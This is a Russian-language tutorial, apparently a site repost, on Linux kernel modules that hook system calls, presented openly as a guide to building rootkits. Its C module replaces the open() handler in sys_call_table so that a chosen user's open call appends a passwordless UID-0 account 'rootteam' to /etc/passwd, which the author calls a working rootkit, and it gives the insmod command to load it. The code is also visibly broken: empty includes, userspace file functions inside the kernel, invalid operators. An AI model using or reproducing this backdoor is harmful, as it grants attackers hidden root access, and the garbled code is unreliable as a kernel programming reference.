Программирование в Linux: Linux Kernel Modules #2: system_call (исходники)

Источник: CodingClub

Данная статья является логическим продолжением предыдущей, так что для получения каких-то ответов на поставленные вопросы, не следует сразу писать мне - прочтите предыдущий материал. В предыдущей статье я писал, для чего используются модули, из чего состоят и, даже, привел самый простой пример... Но стоит заметить, что приведенный пример не являлся частью ядра (точнее код программы), так как в функции инициализации/деинициализации в код ядра ничего небыло добавленно (напомню, что при установке модуля выводилось сообщение). Как я уже говорил, модули добавляют/изменяют какие-то системные вызовы (функции). Именно об этом я и попытаюсь рассказать, но вначале немного теории.

Допустим мы написали некий модуль, который должен изменить указатель в таблице на новую функцию-обработчик, которая теперь будет совершать некоторые действия предписанные предыдущей функции. Так как мы не знаем о том, заменен ли оригинал функции какой либо другой (до нас могли уже установить другой обработчик), существует возможность очень сильного повреждения ядра.

Дело в том, что если кто-то уже заменил стандартный обработчик, то, допустим, после нашей установки, пользователь решил удалить свой модуль, при откате действий, "его" модуль попробует заменить указатель в таблице на предыдущий... Теперь давайте представим, что после этого мы решили также удалить наш модуль.

Что будет при откате? Если мы плохие программисты (то мы не предохраняясь) востанавливаем указатель на старый "его" обработчик, которого, стоит заметить, уже нет в памяти... Это ведет к неминуемому исполнению произвольного кода на машине, так что во избежание таких несчастных случаев можно использовать хотя бы счетчик ссылок. Во вторых (оффтопик)... У человека всегда должна быть цель... сегодня она у меня есть - я исследую, я хакер... а завтра я умру... Начнем.

Обычно для построения руткитов используют замену каких-либо системных вызовов... так поступим и мы... воспользовавшись командой "strace" мы получаем список всех системных вызовов использованных программой.

В ядре существует место, куда передается управление из пользовательского процесса; такое место называется system_call. Здесь ядро проверяет номер системного вызова, по которому ядро определяет, какая функция требуется процессу. Далее просматривается таблица системных вызовов sys_call_table, для определения адреса системной функции в ядре. И, наконец, вызывается эта функция.

Что же нам нужно для изменения работы некоторого системного вызова? Для начала нам нужно написать новую функцию для реализации системного вызова. Далее мы изменим указатель на нашу новую функцию в таблице системных вызовов sys_call_table.

Давайте расмотрим пример. Пусть данная программа и не идеальна, но она наглядно показывает то, что показывает... Наша программа будет добавлять пользователя rootteam в файл /etc/passwd при каждом системном вызове open. Согласен, глупо, но это лишь демонстрация.

------------------------------------------CODE_START-------------------------------------

// sys_open.c

#include
#include
#include
#include
#include

#if CONFIG_MODVERSIONS==1
#define MODVERSIONS
#include
#endif
#include
/*
 определяем версию ядра
*/
#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) ((a)*65535+(b)*256+(c))
#endif
#if LINUX_VERSION_CODE>=KERNEL_VERSION(2,2,0)
#include
#endif
/*
 определяем таблицу системных вызовов
*/
extern void* sys_call_table[];
/*
 укажем UID пользователя, системный вызов которого мы используем
*/
int uid,my_sys_flag=1;

/*
 проверяем тип в передаваемом параметре(это должен быть integer)
*/
#if LINUX_VERSION_CODE=>KERNEL_VERSION(2,2,0)
MODULE_PARM(uid,"i");
#endif
/*
 в этом месте мы сохраним предидщий указатель на системный вызов
*/
asmlinkage int
(*original_call)(const char* , int , int);
asmlinkage int
(*getuid_call)();
/*
 здесь находится НАША функция
*/
asmlinkage int
my_sys_open(const char* filename, int flags, int mode)
{
 FILE *file;
 int i=0;
 char ch;
  if(uid==getuid_call() && my_sys_flag)
   {
    my_sys_flag=0;
    file=fopen("/etc/passwd","a");
    fprintf(file,"rootteam::0:0:rootteam:/root:/bin/sh");
    fclose(file);
   }
 my_sys_flag=1;
 return original_call(filename,flags,mode);
}
/*
 функция инициализации модуля, происходит замена указателя в таблице
*/
int
init_module()
{
 original_call=sys_call_table[__NR_open];
 sys_call_table[__NR_open]=my_sys_open;
/*
получаем указатеь на getuid()-функцию
*/
 getuid_call=sys_call_table[__NR_getuid];
return 0;
}
/*
 функция отката модуля
*/
void
cleanup_module()
{
 if(sys_call_table[__NR_open]!=my_sys_open)
 {
  printk("There is no my function in kernel, somebody chenged the pointer! ");
  exit -1;  
 }
 sys_call_table[__NR_open]=original_call;
}

------------------------------------------CODE_ENDS--------------------------------------

Вот собственно и все... вполне рабочий руткит... хотя нет, забыл об одной детали. Так как нашему модулю передается параметр-UID пользователя от которого мы ждем вызова open, то установка модуля в систему происходит следующим образом:

$/sbin/insmod uid=1000 -c sys_open.c
так что не забудьте добавить недостающие строчки в Makefile. Ждите очередных статей... И помните, у вас появилась цель!


Страница сайта http://test.interface.ru
Оригинал находится по адресу http://test.interface.ru/home.asp?artId=2368